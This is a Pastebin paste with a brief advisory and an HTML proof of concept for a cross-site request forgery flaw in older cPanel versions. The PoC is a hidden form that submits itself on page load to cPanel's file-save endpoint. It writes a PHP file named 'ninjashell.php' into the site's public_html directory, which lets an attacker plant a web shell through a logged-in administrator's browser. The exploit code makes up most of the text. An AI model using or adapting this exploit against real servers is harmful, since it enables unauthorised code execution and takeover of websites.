Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well.
- Proof Of Concept :
- <html>
- <form name="editform" action="
- http://localhost:2082/frontend/x3/err/savefile.html" method=POST onSubmit="return loadfdata();">
- <input type="hidden" id="codepage" class="codepress html" name="page" value="<?php echo 'ninjashell'; ?>">
- <input type="hidden" name="domain" value="localhost">
- <input type="hidden" value="public_html/" name="dir">
- <input type="hidden" value="ninjashell.php" name="file">
- <body onload="document.forms.editform.submit();">
- </form>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement